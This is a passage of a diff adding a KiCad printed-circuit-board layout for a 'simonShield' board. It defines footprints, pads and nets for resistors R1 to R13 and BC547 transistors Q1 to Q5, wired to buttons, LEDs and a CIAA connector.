+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 10 "Net-(Q3-Pad1)"))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573698) (tstamp 5957445A)
+    (at 134.086 74.717 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/57796FE6)
+    (fp_text reference R13 (at 3.967 0.164 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 28 /ciaaConector/LED_2))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 9 "Net-(Q3-Pad2)"))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957364F) (tstamp 5957444D)
+    (at 80.365 74.717 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/57780BC7)
+    (fp_text reference R12 (at 3.967 -0.115 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 8 "Net-(Q2-Pad1)"))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957364C) (tstamp 59574440)
+    (at 83.921 74.717 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/57780BCE)
+    (fp_text reference R11 (at 3.967 -0.171 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 27 /ciaaConector/LED_1))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 7 "Net-(Q2-Pad2)"))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595735F8) (tstamp 59574433)
+    (at 123.164 49.063 180)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5797F41B)
+    (fp_text reference R10 (at 3.914 0.063 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 1K (at 3.81 3.81 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+    (pad 2 thru_hole circle (at 7.62 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 19 "Net-(Q1-Pad1)"))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595735FE) (tstamp 59574426)
+    (at 123.164 52.111 180)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5797F406)
+    (fp_text reference R9 (at 3.914 0.111 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 5 "Net-(Q1-Pad2)"))
+    (pad 2 thru_hole circle (at 7.62 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 31 /ciaaConector/PWM))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957363D) (tstamp 59574419)
+    (at 118.465 98.339 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/57796AEC)
+    (fp_text reference R8 (at 3.839 0.035 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 24 /buttons/BTN_CFG_4))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573684) (tstamp 5957440C)
+    (at 129.641 98.085 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/577968BC)
+    (fp_text reference R7 (at 3.835 0.109 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 18 /buttons/BTN_LED_4))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573623) (tstamp 595743FF)
+    (at 88.239 97.958 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/57796A6F)
+    (fp_text reference R6 (at 4.208 0.011 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 17 /buttons/BTN_CFG_3))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573637) (tstamp 595743F2)
+    (at 99.415 98.466 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/57796847)
+    (fp_text reference R5 (at 3.966 0.085 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 23 /buttons/BTN_LED_3))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957369C) (tstamp 595743E5)
+    (at 129.641 74.717 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/577967E7)
+    (fp_text reference R3 (at 3.717 0.109 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 15 /buttons/BTN_LED_2))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573654) (tstamp 595743D8)
+    (at 99.415 74.844 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/5779693E)
+    (fp_text reference R2 (at 3.844 0.085 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 14 /buttons/BTN_CFG_1))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573648) (tstamp 595743CB)
+    (at 88.239 74.844 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/5777DBC2)
+    (fp_text reference R1 (at 4.094 0.261 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 13 /buttons/BTN_LED_1))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957368B) (tstamp 595743BE)
+    (at 137.007 85.512 180)
+    (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+    (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+    (path /57780685/57780C35)
+    (fp_text reference Q5 (at 3.257 3.262 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BC547 (at 0 3 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (pad 2 thru_hole circle (at 1.27 -1.27 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 11 "Net-(Q5-Pad2)"))
+    (pad 3 thru_hole circle (at 2.54 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 4 "Net-(D4-Pad2)"))
+    (pad 1 thru_hole circle (at 0 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 12 "Net-(Q5-Pad1)"))
+    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 -90))
+    )
+  )
+
+  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957365A) (tstamp 595743B1)
+    (at 80.873 85.512)
+    (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+    (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+    (path /57780685/57780C0C)
+    (fp_text reference Q4 (at 2.377 -4.012) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BC547 (at 0 3) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 21 "Net-(Q4-Pad2)"))
+    (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 20 "Net-(D3-Pad2)"))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 22 "Net-(Q4-Pad1)"))
+    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 -90))
+    )
+  )
+
+  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957360A) (tstamp 595743A4)
+    (at 137.007 62.144 180)
+    (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+    (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+    (path /57780685/57780BE3)
+    (fp_text reference Q3 (at 1.507 3.644 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BC547 (at 0 3 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (pad 2 thru_hole circle (at 1.27 -1.27 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 9 "Net-(Q3-Pad2)"))
+    (pad 3 thru_hole circle (at 2.54 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 3 "Net-(D2-Pad2)"))
+    (pad 1 thru_hole circle (at 0 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 10 "Net-(Q3-Pad1)"))
+    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 -90))
+    )
+  )
+
+  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1) (tstamp 59574397)
+    (at 80.873 62.144)
+    (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+    (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+    (path /57780685/57780BC0)
+    (fp_text reference Q2 (at 0 -4) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BC547 (at 0 3) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 7 "Net-(Q2-Pad2)"))
+    (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 2 "Net-(D1-Pad2)"))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 8 "Net-(Q2-Pad1)"))
+    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 -90))
+    )
+  )
+
+  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1) (tstamp 5957438A)
+    (at 118.973 55.286 270)
+    (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+    (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+    (path /5797F3FE)
+    (fp_text reference Q1 (at 0 -4 270) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BC547 (at 0 3 270) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
